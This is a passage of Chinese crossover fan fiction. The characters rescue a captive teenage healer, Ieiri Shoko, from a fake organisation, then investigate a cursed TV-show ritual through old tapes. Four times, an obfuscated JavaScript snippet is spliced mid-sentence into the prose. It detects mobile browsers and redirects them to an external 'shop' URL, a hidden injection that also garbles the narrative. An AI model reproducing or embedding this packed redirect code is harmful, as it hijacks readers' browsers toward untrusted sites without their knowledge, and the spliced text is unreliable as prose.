像是看到了什么有意思的东西,她坐了起来,然后敲响了手边的键盘,似乎是试图发言。 当然,这个机构是绝对不会等到她把消息发出去再出现反应的,立刻就有一个脚步匆忙的女人诚惶诚恐来到她的面前:“您需要什么?请尽管吩咐。” “我要这个。”少女指着自己点开的视频,似乎并不为这种场面的出现而惊讶,“我想看她的表演。” 少女指尖所指的,赫然是伊露米的演出视频。 “好的,如您所愿。” 40.不死鸟 “最近我们的工作室收到了一个演出邀请,是个最近声名鹊起的机构,暂时没调查到什么关键信息,总之跟咒术界没有关系,保证人身安全,愿意签订合约,诉求是铃木同学去机构内进行演出。” “不过我的话,会推荐去。一个是开出的价格非常美丽,足够覆盖掉前期我们投入的开销。”冥冥挑了挑眉,“另一个则是它的人脉非常广泛,据说很能赚钱,并且跟不少大人物有关。” “最重要的是,即使他们图谋不轨,我们也有足够的底气对上,毕竟是咒术师,制造一场小麻烦,暂时性蒙蔽他们或者做遗忘处理,可以联系你们那个关系匪浅的辅助监督。” 面对这种条理清晰逻辑通畅并且后路全都想好了的劝说,入间能说什么呢? 作为门外汉,当然是要听相对更专业人士的。 于是新的演出提上了日程。 那家名为“不死鸟”的机构,预订的时间很靠近,全是充斥着“不差钱”“愿意用金钱换时间”的急迫。 刚推开门,就被明晃晃的白刺痛了眼睛。 墙壁是白的,地板是白色瓷砖,头顶的天花板镶嵌着的灯也是一样的色调,完美融入环境,几乎无法分辨来源和方向。 仿佛是要给一个下马威,一行人伸手挡光,旁边才有人如梦初醒一般给他们送上墨镜。 入间和阿斯莫德走在前面,被一个面容疲倦的女人引导着,从空旷雪白的大厅里进入侧门的走廊。 而跟在后面的冥冥,在刚踏入机构的时候,就作为经纪人被和他们分开了,门口看上去等了有一会、笑起来莫名油腻的中年男人自称是负责人,需要和冥冥谈论关于长期合作的合同,所以请她前往会客室。 话虽如此,这人看她的眼神却格外轻蔑。 那是一种来自于年龄以及地位,还有雇佣的不平等带来的信心,以及对于外貌的轻视和狎昵。 冥冥只需要一眼,就知道怎么从这种人手里不准痕迹地榨油水,叫他吃一个闷亏。 这边冥冥谈合同,那边入间还在打量着四周。 不同于外面几乎能造成雪盲症的惨白,从进入走廊的那一刻起,周围的环境就昏暗了下去,配合着暗淡的黄色光线和墙上鲜红如血的图案,仿佛走在什么充斥着岩画的山洞里。 入间仔细辨认,那些看上去有些扭曲的红色图案,组合起来,似乎是熊熊燃烧的火焰中飞翔盘旋的鸟儿。 这不禁让他想起了之前看过的西方传说,从火焰中浴火重生的不死鸟。 不知不觉走到了尽头,女人转过头,疾言厉色地进行警告:“这里就是‘大人’的房间了,你的舞台和休息室都在对面,到时候大人会把门拉开进行观赏,你也不要有什么不该有的想法,比如看到大人的面孔,知道了吗?” “知、知道了。” 真是好糟糕的提醒,让入间产生了一点不妙的预感。 不会是那种色迷迷的大人物吧?伊露米这个身份还能保得住吗?真的不会出现什么意外吗? 各种想法盘旋在脑子里,女人已经扔给他机构里早就准备好的演出服,对着那扇门鞠了一躬,出去了。 阿斯莫德抓着衣服、展开,任凭入间打量,不是想象中那种非常不能过审的离谱衣服,恰恰相反,这个衣服严丝合缝,甚至是裤装,恨不得把人从头裹到脚底板。 入间:“……” 忽然觉得自己有点以小人之心度君子之腹了。 阿斯莫德倒是松了口气,也别管是因为什么松了口气,总之他的语气不无轻松:“需要我帮忙吗?” “不了,谢谢。” 入间抓着衣服准备去更衣室,那位指名道姓要看他表演的“大人物”的房间门就忽然被拉开了,里面的少女留着长发穿着长袖长裙,眼角有一点泪痣,看上去冷冷清清,但是实在美丽。 然而下一秒,她手忽然按在了音响上,在喧闹的前奏里,一开口,就打破了关于气质的错觉:“你们,手机卖不卖?” 入间:“……” 入间:“?” 啊? 花了一笔堪称惊人的费用,就是为了从外面的人手里淘换一个手机? 这个钱放在外面,多少手机不能买啊? 这位“大人物”却摇了摇头:“不是这个原因。” “总之我能够利用的就这么几分钟,你就说卖不卖?” 这完全不是一个短时间能说清楚的问题了好吧?! 入间和阿斯莫德对视一眼,在这些天更加深刻的默契里分头行动。那边阿斯莫德掏出一个播放器开始播放入间无音损的演唱会原声,这边入间就使用了一个魔界的隔音魔法:“好了,现在他们听不到你的声音了,可以告诉我们到底是怎么回事了吗?” “魔法少女?”少女像是有点意外地挑了挑眉,“算了,告诉你们也没事,这个机构的名字你们有所耳闻吧?取名的原因就在于我。” 眼前人名叫家入硝子,年纪大概跟国中学生差不多,算是夏油杰他们的同龄人,拥有能够治愈别人的能力,因此被“不死鸟”机构带走,奉为“圣女”,在暗地里为一些有权有势的人物进行救治。 “这么说吧,他们属于非法囚禁。”她直截了当,平静得像是在说别人,“我喊人来也不是为了什么报警、祈求拯救、带我出逃之类的目的。在我的能力消失之前,对他们还会存在价值,他们就不可能虐待我。” “只不过是因为我的设备都含有监听监控的系统,用起来不自由罢了。” 入间:“!!!” 这种情况光是听起来就已经超严重了!不要说得这么无所谓啊! “拥有这样的能力,你应该也是咒术师。”入间既然见到了,就完全无法置身事外,他有些苦恼地抱着脑袋,陷入了沉思,“你真的不想离开吗?我们会帮助你的。” “他们到现在也没有发现不对劲,那么我确实相信你们的能力。”硝子摆了摆手,“但是怀揣着这种能力我怎么保证,自己不会再次陷入到跟这种情况相似地、像工具一样生活的条件下呢?” “谢谢你们的好意,不过免了。” 说着,甚至从枕头底下摸出来一包烟。 “你还是个小孩子,怎么可以抽烟?!”入间更加崩溃了,“是他们教坏未成年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822265|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吗?那我绝对不能让你留在这里了。” 被一旁的阿斯莫德夺过手里的烟,家入硝子也没什么反应,情绪稳定到了可怕的程度:“大惊小怪,只是因为有点压力罢了。” 抽烟成了压垮入间心理防线的最后一根稻草,恶食戒指都像是被情绪所影响,魔力甚至有些不稳,他深吸了一口气,对着家入硝子道歉:“抱歉,我这么做确实有点突兀了,不过,正在用的不能给你,这是我们备用的手机,如果你不介意的话……” 不过也似乎没打算等到回答,入间急匆匆走到了帘子后面,似乎在平复情绪。 “入、伊露米大人……”阿斯莫德多少还是有点担心,守在门外,“您觉得很为难吗?需不需要我……” 话音未落,帘子一掀,面容都随着恶周期的转换而自带一股凌厉的入间掀开了帘子:“不,艾利斯,我现在感觉很好。” 说着从灾厄之书里召唤出一株巨大的魔植,将家入硝子包裹在里面。 家入硝子平静的表情终于被打破,她试图抬起手用指尖夹着的香烟灼痛它以便于松手,却被入间轻巧地抽走:“抱歉,但是果然这种伤害身体的东西还是不太适合年轻小姐。既然哪里都无所谓,我就擅作主张了。” 然后,他们就在众目睽睽之下,带着被绑架的家入硝子,离开了。 家入硝子:“?!” 如果要理清楚短短半小时内发生的情况,那大概得将时间拨回到入间进入帘子后面。因为魔力的不稳定,本来打定主意休息的艾利先生也不情不愿地现身:“入间小弟,你怎么回事……” “艾利先生,麻烦让我进入恶周期吧。” “啊?” 众所周知,恶周期是恶魔固有的情绪躁动期,期间破坏欲强烈,任性暴躁,因此需要恶抖露的表演消耗他们的精力。 而入间作为人类,原本是应该没有的。不过,艾利先生出于很难说不是想看好戏的心态,给了他恶周期的不定期体验卡。在恶周期的入间明显更加恣意妄为,更不吝于表达自己的欲望…… 可是由于每次恶周期结束之后,都会面临社死现场,所以艾利先生能够“使坏”的机会实在是寥寥。 就在今天,让艾利先生怀疑耳朵的事情发生了——入间,主动试图进入恶周期! “这样的生活,我说不上来,但是很明显,是不对的。”入间看着帘子后化妆镜里映着的自己,喃喃自语,“就像我在成为爷爷的孙子之前,并不认为每天都在为了生计奔波有什么不对的那样,她不是接受现状,而是没有选择。” “艾利先生,我一直胆子很小,得过且过。如果是一开始的我一定会觉得她自己认为的好就是好了吧?但是……在做出选择之前,应该有选择的余地不是吗?” “就像爷爷给我摆脱原来人生轨迹的机会那样,我还是想推自己一把。” 艾利先生惊讶地抬了抬几不可察的眉毛,嘴里吐槽的却是另外一回事:“你管要么当孙子要么被吃掉叫选择吗?” 记忆果然是会被美化的。 入间:“……” 煽情的氛围完全被打破了呢。 41.硝子学妹 当然,就算为了对得起冥冥投资的那么一大笔资金,入间也不会让“伊露米”这个名字和“绑架”等负面词条绑定在一起的。 能够光明正大、大摇大摆地离开,一是仰赖于魔界同学利特的家系能力“感官掠夺”,成功屏蔽了其他人的感官,二则是感谢巴拉姆拜托卡鲁耶格带来的稀奇古怪的魔植种子,其中一种能够将眼珠一样的果实派遣出去为母体捕获猎物的植物,成功夹断了所有监控设备的连接线。 届时再放出关于伊露米被绑架且发现的新闻,大概也能蒙混过关。 被困住,但是坐在魔植肩膀上的硝子歪头看了看他,因为和入间并不算熟悉,所以对他的变脸也没什么太大的想法,语气相当直白地反问:“你嘴上说他们是错的,那么你的行为就一定是对的吗?” “不一样。”进入了恶周期的入间气场全开,对着她挑了挑眉,“因为你可以限制我。” “我们可以立下束缚。束缚是咒术界的一种术式,发誓之后一旦有所违背,将会无视术式等条件,对立誓者造成伤害。” “这就是我的诚意,够了吗?” “如果这是真的的话。” 在入间和她之间达成类似于赌约的短期束缚之后,一股无形的枷锁施加在了入间的心脏部位。 说实话,这并不算好受,所以入间干脆招了招手,让阿斯莫德靠近,之后更是干脆趴在了他的身上。阿斯莫德因为这样近距离的接触,两颊不自觉染上红色,步调都变得小心翼翼。 何等、何等荣幸,能够被入间大人如此依赖……不不不,心跳不要这么快,很容易吵到入间大人的耳朵! 而始作俑者毫无自觉,甚至懒洋洋地拖长了调子:“回去之后,记得给我买个冰淇淋。” “是、是的!” 入间自顾自打开手机,找到联系人中的冥冥,告知了接下来自己计划的安排,并且及时给出补救措施——他这次出演的分成直接交给冥冥,作为她费心公关和脱身的补偿,顺便保证他们带出来的人不会麻烦她哪怕一点。 结果自然是宾主尽欢。 “好,那么接下来要打给夜蛾老师,给家入同学提供一个身份。” 丝毫不觉得这样有什么不对的恶周期入间就是这样大大方方地依靠别人,但凡能够拜托给可靠可信者的任务就坚决不愿意自己再经手,总而言之相当潇洒,和之前死活要自己想办法的家伙简直是两个极端,介于他们是同一个人的一体两面,很难不说是憋久了压抑得。 “夜蛾老师,我们从邪/教里带出来一个人。”入间没有太多的寒暄,就这么给夜蛾扔下了一个不亚于深水炸弹的消息,语气平静得像是在说“食堂的少放了点盐”。 原本正在制作咒骸的夜蛾猛然从自己的世界里清醒,连忙看了看来电显示的姓名,各种确认身份,确定自己的老实学生完全不像是被人取代或者抢了手机的样子,也没有被咒灵操纵,顿时感觉血压更高了:“你!入间君,我以为你还是个乖孩子……” 怎么悄没声地次次搞出大动静?! “我很乖的啦。”恶周期主打一个绝不内耗,“嗯……她的术式比较特殊,自保能力不强,大概是治愈类……放在别的地方会被利用很惨的……” “什么?!”本就被一层一层叠加的恐怖消息轰炸得眼冒金星地大脑在听到“治愈”时彻底宕机,“你说她是什么类型?” 浑然不觉治愈类型在咒术界是多么稀缺资源的入间回答:“治疗,她能够给自己或者别人治疗。” 反转术式!还是能够用在别人身上的 ! “干得好、咳,我是说,你是从哪里把她抢出来的,不会是别人家里吧?” “不是哦,是从一个囚禁她的奇怪组织手上抢下来的人。”入间语气潇洒,“接下来事情应该可以拜托老师吧?毕竟我们还只是什么都不懂还手无缚鸡之力的学生呢。” 夜蛾:“……” 你这个毫无反省的语气,可不像是什么都不懂还手无缚鸡之力啊。 在结束通话之前,夜蛾还在怀疑人生:所以,到底是自己这个老师看走了眼还是缺乏对学生们的教育和关心? 怎么感觉老实孩子学坏了? / 当然,夜蛾很快就见到了自己的两个学生和稀有的反转术式拥有者。 在听完家入硝子的经历之后,这个大概确实有点心软的壮汉拍了拍家入硝子的肩膀:“受苦了。” 而看到眼前这个完全是极/道大佬形象的男人,家入硝子不知道为什么,在入间莫名其妙手慢无的“绑架”里,忽然自洽了。 应该的,太正常了。 夜蛾就这样莫名其妙风评被害。 “反转术式相当罕见,而能够治疗别人的更是寥寥。甚至于,目前来说,全世界已知的官方登记在册咒术师,只有你一个能够治疗他人。”夜蛾作为成年人,能够了解到的信息显然更多,“所以你的术式是非常珍贵的,如果加入我们,应该会被保护起来,不过保护也意味着限制……” 家入硝子反问:“会继续把我关在房间里为大人物治疗吗?” “为高层人物治疗大概是难免的。”夜蛾面带歉意,“但是我们可以发誓绝对不会让你完全被禁锢在一个地方。你的年纪还很小,应该上学、和同龄人一起生活,也应该有外出的自由, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827293|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过大概会派遣人手进行保护……” “好啊。”家入硝子答应得很干脆,“那我就呆在这里吧。” 夜蛾似乎也没想到这么快就能劝说成功,脚步一滞,打电话的速度更加急迫了:“您好,在下是东京都立咒术高等专门学校的夜蛾,是的我们有一位学生的信息需要您帮忙处理一下……” “真是个怪地方,老师不像好人,学生热爱女装还出门当偶像。”望着夜蛾忙得团团转,准备各种手续的背影,她转过头看了入间一眼:“不过,我承认你赢了,我确实对这里很满意。” “不胜荣幸。” 不多时,解决问题的靠谱成年人夜蛾,揉着隐隐作痛的太阳穴,朝着他们宣布了两个消息: 一,家入硝子的档案已经在完善和过明路了,预计下学期将会是东京高专新的一年级学生。 二,又有任务找上入间和阿斯莫德了,预计任务结束之后他们就可以放春假,收拾收拾东西,假期结束成为二年级学长了。 很显然,没有加上冥冥的原因,是总监会也不想出这个“额外的价格”。 与此同时,“不死鸟”机构内部。 “啊,抱歉,我手下的工作室似乎出现了什么问题。”冥冥非常浮夸地感慨一声,然后施施然离开了。 被在短短半小时的谈话内捏住自己把柄并且被压着打的中年男人脸色难看地坐了起来,狠狠地喘着粗气,走出了会客室的门。 不知道为什么,四周都静悄悄的,只有前台不知何时多了一个戴着宽檐帽子的年轻女性。 在看到那张脸的时候,中年男人不由自主地跪了下去,好不容易止住的汗水更加汹涌:“您、您怎么……” “因为你没有价值了,蠢货。”年轻女性微微笑着,嘴里吐出的字眼却是和容貌不符合的粗俗,“这里已经没有价值了,收拾收拾关门吧。” “不、不……我们才刚起步啊——”中年男人膝行至她面前,充满恳求,“您看,我们不是已经把那个臭丫头养大了吗?她要什么,我们给什么……现在都可以给大人物看病了……” “嘘——”年轻女性摇了摇手指,“这副样子太难看了。还有,连人都看不好,随随便便让人跑了出去还沾沾自喜无所察觉,你让我很失望。我也不想丢掉摇钱树的,谁让你实在是太蠢了呢。” 伴随着令人毛骨悚然的“嘎吱”声,雪白空洞的建筑里四处飞溅着鲜红的血迹,年轻女性调整着自己的帽子,遮住额头,从连中年男人自己也不知道的暗道里离开了现场。 “啊呀,真是不讨喜的孩子。”她脚步匆忙,语气却相当从容,“看来得给他们找点事情做了。” 42.十二点夜话 结束恶周期之后,入间怎样尴尬得辗转反侧,还看到了阿斯莫德不知道为什么略带失望的表情且不提,总之入间甚至已经有点习惯这样的“精分”了。 现在面临的,是因为之前把家入硝子从“不死鸟”机构里偷出来,“伊露米”这个身份也顺理成章因为“绑架”和冒名顶替需要休息一阵子。至于回归时间,自然是视任务解决进度为准。 粉丝那边自然有冥冥帮忙安抚,其中种种手续和琐事,让阿斯莫德也不由得感慨当初决定搞工作室分红真的是相当英明的决定——这位同期可太对得起自己拿的每一分钱了。 而事实也证明了,他们的预案是对的。 就算已经有了诸多的心理准备和实力提升,这次的难度对于入间和阿斯莫德来说,还是太超过了。 升级成为了一级咒术师,伴随着报酬的水涨船高,事件的难度自然不言自明,这是他们做好心理准备面对的。 更何况就算是对勾心斗角最是迟钝的入间都能察觉出来,那次魔植大闹总监会,不管是不是他们做的,总监会都记恨上了他们,这次的任务绝对不止表面上的那么简单。 最重要的是,这次的任务是半公开形式,这无疑是给他们施加了不少掣肘。 但是即使已经这样了,这次的任务之程度也堪称生死一线。 刚一下车,他们就被一群人包围了。在确定他们的身份之后,拥上来的人立刻开口,七嘴八舌、各怀心事,却怎么也遮掩不住那股子分明看不起他们的年纪却不得不有求于人的气质。 “哎呀,世界上真的有灵异吗?未必吧?不过为了收视率而已……本来那个教授提出来这个节目脚本的时候我们也挺开心的,谁知道后面有这么多麻烦事……” “啊,对了,我们已经有专业的团队了,二位不介意我们的摄影团队跟着一起调查吧?” “……” 作为偶像身边助手,阿斯莫德别的不说,社交辞令之类的倒是学了个七七八八。他不由分说将入间挡在身后,用冷酷严厉的眼神扫过众人,最后点了其中一个人开口:“麻烦你来说清楚来龙去脉,不要对我们的调查造成影响。” 那人看起来是人群中表情最惶恐的,但是站位偏偏显示出这人还是有那么一些份量,这种情况下,他应该是最想查出真相或者解决问题的家伙。 “好、好的!”那人立刻扑了过来,“在下、在下是《十二点夜话》的节目导演……” 《十二点夜话》原本是灵异怪谈类节目,一开始只是电台,最盛时期成功拿下正式的深夜电视节目排期,据说和某些专业机构也有所合作。 不过,显然,到了现在,就完全由盛转衰了。 在为了挽救收视率、不至于让节目腰斩,其实大家也做了相当多的努力,最后却都收效甚微。 于是,他们选择了和某个据说在灵异方面相当专业的人士进行合作,甚至编造好了一套完整的剧本。 选择一户人家,进行合作,举办一些特定的仪式,制造神奇的节目效果,宣称这位专业人士给这个家庭成功改运,联通隔壁同样不太景气的闯关类合作,让他们拿到奖励,达成宣传的四赢局面——那户人家获得金钱,专家扬名,两个节目获得噱头和关注。 本应如此的,如果没有出现意外的话。 经过商谈,最后这位专家选中的,是一户濒临破产的家庭。 因为父亲的错误决策,导致家族传下来的会社已经逐渐没落,正处于被瓜分的边缘。在跌落阶层的威胁下,这一家人病急乱投医,看到了专家投放广告的网站,于是选择了相信专家的仪式,报名寻找机会。 最后也幸运地被选中了,即使这个“改运”仪式是假的,参加表演之后的费用也足够他们还清部分债款。 事实上,这件事一开始是非常正常的,那户幸运家庭在专家的指导下进行仪式,写下自己的心愿,然后将纸条投放在仪式中央用注连绳组围起来的火堆旁。 然后,他们参加了早就写好通关剧本的家庭闯关游戏,用最快的速度打败对手,拿到奖励。 这是一个非常好的结局,大家都获得了自己想要的东西。 但是现在,这家人,出现了问题,并且已经酿成了灾祸,在他们没有经过安排,忽然中了一张巨额彩票之后。 为什么会被发现,还是因为《十二点夜话》 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856984|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 导演组在剪完视频之后,心血来潮想要追踪当事人之后的生活状况,然后就被他撞到了此生都难以忘怀的一幕——不知道为什么出现在专家家里的、这户人家的儿子,和专家一起,被用一种相当扭曲可怕的姿态像孩子手里的橡皮泥一样被粘在一起,早就已经断气了。 而那户人家的其他家庭成员,全都不知所踪。 也就是在这时候,他们才意识到,真的出事了。 对于这件事,大家也都是各怀鬼胎。毕竟这个噱头听起来更吸引人,说不定能够帮助节目重新翻红,而且不能被他们这种小节目操纵的彩票也证明了这个仪式的神奇——说不定这家人只是担心后续被人盯上,连夜制造一个骗局逃跑了呢? 可导演却坚持要请人来解决问题。 “难怪……” 难怪一群人同时开口,打扰调查,恐怕也是存着干扰的心思,将这件事声张出去,摆在众人的目光下。 闹大了,节目会成为新的都市传说,到时候失去的利益和价值都可以最大化地获得。 目前看来只有导演不这么想。 “一定……一定要小心……”在告知了来龙去脉之后,这个坚持调查的导演有些神经质地告诉他们。 不为别的,只因为在专家死去之后,他躲在剪辑的工作室内对视频进行逐帧的剪辑和观察时,没来由产生了一种难以言喻的恐惧。 那是一种可怕的、粘稠的视线,带着强烈的恶意。 他的直觉告诉他,仪式真的召唤出来了什么不得了的东西,它的欲望不会仅仅满足于只带走那参与的一家人,恐怕他们……他们也将是神隐的一员。 这也是他不顾一切找到了制片人和领导并且坚持要求请来专业人士的原因。他告诉他们,倘若就这样袖手旁观下去,很可能接下来这导致神隐事件的怪物,也会降临在电视台,到时候谁都跑不了。 说到工作人员,不会有人重视,但是事关自身,不多时,导演就得到了自己想要的。 也就有了这场任务。 “那么,请带我们去看看吧,那个录像,还有现场。” 入间看着神色惶恐的导演,语气坚定。 43.录像带 在陪同导演一起去检查拍摄的原片时,辅助监督也通过自己的渠道对目前的状况进行了一些了解和补充说明。 “这个节目确实有两把刷子。”辅助监督挑了挑眉,表情略显复杂,“在最盛时期部分咒术师自发形成的组织和这个节目的前身,也就是深夜电台达成了共识,似乎打算通过灵异类节目宣告咒灵的存在,不过就目前的情况而言显然这个计划胎死腹中了,所以后面对《十二点夜话》的扶持也就不了了之。” 这才是《十二点夜话》在腰斩边缘摇摇欲坠的最大原因。 至于宣告咒灵存在的计划为什么胎死腹中……那还用问吗?不如说,真的有人能在总监会的眼皮子底下做到这步,才是更让人惊讶的能力。 只可惜…… 作为异世界的外来人员,入间似懂非懂。虽然从和总监会的接触中能感觉到这肯定是一件相当的难事,但是毕竟隔着两个世界,要能够完全共情还是很难的。 不过,这样的话题还是在他的心里种下了什么,等着在某个时刻成为行动的启发。 说话间,已经来到了导演存放录像带的工作室,导演忙不迭冲过去,打开设备,播放起了未剪辑的原片: 【甜美的主持人站在镜头面前,对着身后的房子进行介绍:“这里是节目的参与人员,饭沼一家的房子。我们的拍摄也会在这里进行,相信他们也和我们一样充满期待吧?”】 【给他们开门的是一个神情憔悴的女人,在看到摄像头之后,女人立刻捋了捋头发,露出从容得体的笑容:“你们好,我是饭沼家的女主人,饭沼芹子。二位就是今天负责拍摄的工作人员吧?请进请进。”】 【“那么,我们就打扰啦。”主持人对着饭沼太太鞠了一躬,然后走进了那扇门。】 【但是摄影师却似乎捕捉到了什么,“咦”了一声,镜头抬高,能看到二楼的窗边有个穿着黄色短袖的矮小身影一闪而过。】 【当然,他也没能花费太多时间来关注这件事,已经进门的主持人生怕饭沼家的女主人临时回头察觉到他们的冒犯,发出小声的催促。】 【这个插曲似乎并没有被大家放在心上,不管是饭沼家还是摄制组,大家的心目中的重头戏都是对仪式的拍摄。主持人和摄像师在玄关换好鞋子,起身时在地上看到了一张蜡笔涂画的儿童画。】 【主持人情不自禁地发出感慨:“天哪,画得真可爱呢。”】 【于是饭沼太太露出了一个有点矜持但是难掩骄傲的表情:“这是小女的拙作,她是个十分让人省心的孩子,就是有时候喜欢把自己的画画完就放在一边……”】 【“真是幸福的苦恼呢。想必作为父母,二位也为了女儿耗费了相当的心血……”主持人说着一些相当捧场的客套话,“这就是您的女儿吗?小朋友,你的画真的好厉害啊!”】 【伴随着镜头的转移,随着主持人的视线,画面转向了客厅里一个抓着蜡笔的小姑娘,大概是有些怕生,看到了陌生的客人,立刻怯生生躲在母亲的裙摆后。】 【“是的,铃,快,叫人。”】 【小女孩被母亲拉了一下胳膊,于是只好走出来,对着他们问好。】 【“我怎么会有你这样……没出息……蠢货……”寒暄没能持续太久,楼上就传来暴怒的斥责,以及“噼里啪啦”的摔打动静。】 【镜头再次对准了天花板:“这是……”】 【一只手抓住了镜头,在明显的一阵摇晃之后,饭沼太太的脸占据了屏幕。她的表情是微笑着的,动作和语气却又不容置疑:“没关系的,只是写作业的时候被气到了而已,我们的儿子不是个聪明的孩子,有时候还喜欢撒谎……作为父母,有时候也实在控制不住脾气。”】 【一旁的主持人连忙附和:“能理解的,毕竟越是爱着孩子,越是希望他能够有美好未来嘛。”】 【一行人默契忽略掉那充满暴力的摔打声,继续“和谐”地说起别的话题:“看,呀,这是刚才画的画吗?真是越来越有进步了呢。”】 【镜头在摔打声和聊天里对准了那幅儿童画,画上是全家福,很容易分辨出来是两个高大的成年人和、一个穿裙子的小女孩,以及一个年纪稍大的、穿着黄色衣服的男孩。】 【“是呢。”主持人点点头,“您家是一男一女两个孩子吗?真好。”】 第一段内容在此结束,还没等他们开口,导演就迅速将第二段补上。 【开幕就是黑洞洞的楼梯口,伴随着下楼的“咚咚”声,高大、但是满脸胡茬、不修边幅的男人带着一个穿着白衬衫的少年下了楼。】 【原本坐下的主持人立刻起身,微笑着询问:“这二位就是饭沼先生和令郎了吧?您好您好。”】 【“啊,是的,这是犬子明正。”饭沼先生在看到楼下等候的人群之后,立刻换上憨厚的笑容,让人完全没办法把他和制造出楼上那种可怕噪音的人联系起来,“让你们久等了,实在是非常抱歉。”】 【现在的语气,甚至相当亲和,完全是衣服成功人士的沉稳。】 【“不,哪里哪里。”主持人和摄像师连忙客套地摆手,“是我们打扰了才对,很荣幸能够见证这样的仪式。”】 【镜头跳切,饭沼家里不知何时多了一个瘦削的男人,头发花白,戴着眼镜,穿着一身陈旧但是妥帖的西装,有些拘谨地鞠了一躬。】 【主持人作为旁白适时说明:“这位就是负责这次仪式的民俗专家,矢代诚太郎先生!”】 【“诚太郎先生,您好您好,久仰大名。”饭沼家站在了一起,饭沼太太按着女儿的肩膀,饭沼先生虚扶住站在自己前面的男孩,对着矢代诚太郎点头问好,“接下来就拜托您了。”】 【“哪里哪里,我才是。”一阵有些冗长的社交之后,矢代诚太郎开始对着镜头和饭沼家开始介绍关于这个改运仪式的来龙去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864344|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脉,“这是我的一个学生启发并且引导我创造的仪式,融合了一些宗教的……”】 【大概是出于节省经费和内存的想法,矢代诚太郎的话并没有被完全记录下来,跳过了长篇大论,画面稳定下来时,已经是大家一起从袋子里拿出注连绳了。】 【在帮忙的时候,主持人还不忘和饭沼一家进行交流:“令郎明正看起来是个很乖巧的孩子呢。”】 【“是的,他是个非常优秀的孩子。”饭沼太太说着,下意识摸了摸自己的脖子,“也非常懂事……不过……”】 【不过什么,她没有说下去。】 伴随着这个欲言又止的话题,第二卷也结束了。 在导演翻找第三卷的空隙,入间撑着下巴,发出疑问:“很奇怪啊……感觉这家不是特别和睦的样子。” 一定要说的话,或许是因为获得过来自于沙利文和欧佩拉的关怀和“入间全肯定”,以至于入间看着饭沼一家在镜头下的表现,感觉到了很浓的违和感。 为什么不好好把女儿的作品收起来,散落得到处都是呢? 而且对孩子的动作,是不是有点太粗暴了? 饭沼太太紧紧握着女儿的肩膀,饭沼先生作为父亲,看起来却和自己的孩子不是很“熟”。按理来说,即使是厌恶自己孩子的家长,也不会和跟自己同性别的孩子有那样强烈的距离感。 这种感觉不止是对孩子的不了解,而是那种陌生人之间相处的“分寸”。 说实话,这是家人之间最缺少的东西吧? 而阿斯莫德的关注点在另一方面:“不太一样,那个影子。” “嗯?” “第一卷的时候,二楼是有个孩子的影子的,穿着黄色的衣服。”阿斯莫德跟入间分享自己观察到的情报,“但是已知小女儿是在一楼,下来的饭沼明正穿着一件白色衬衫……而且明显饭沼明正比那个黄色的影子要高一些……” 入间努力回忆,但是确实没办法把看到的那两个转瞬即逝的身影进行体型的比较:“阿兹君的意思是,这户人家还存在着第五个人吗?” “虽然有可能是朋友来玩耍,但是时机不对。”阿斯莫德点了点头,“不管怎么说,那天是举行仪式的日子,饭沼家按理来说应该也签订了合同,不会轻易放人进来破坏掉仪式吧?况且就算没有破坏,也会违背拍摄合同里应该存在的保密条款吧?小孩子并不是很能保守秘密。” 有理有据、逻辑通顺的推理! 入间看着阿斯莫德的眼神里都带上了崇拜。 阿斯莫德在这样的视线下耳根发红,话语也开始结巴,但是说得越来越起劲了。 辅助监督:“……” 你的身体羞涩了,你的话结巴了,可是你的脑子还没有,全是花孔雀一样开屏的念头,可怕的很! 这里又没有小女生,用得着这样卖力吗? 讨论中,导演换上了第三卷。 44.虚假的血缘 【开头就是火堆,饭沼一家小心翼翼地将注连绳缠绕在火堆周围。】 【“火和注连绳都有驱逐邪祟的能力,这会保护你们不会被邪祟占据身体。”矢代诚太郎在画面外解释道,“接下来请你们在纸上写下自己想要抛弃的东西,并且压在火堆前的镜子下。”】 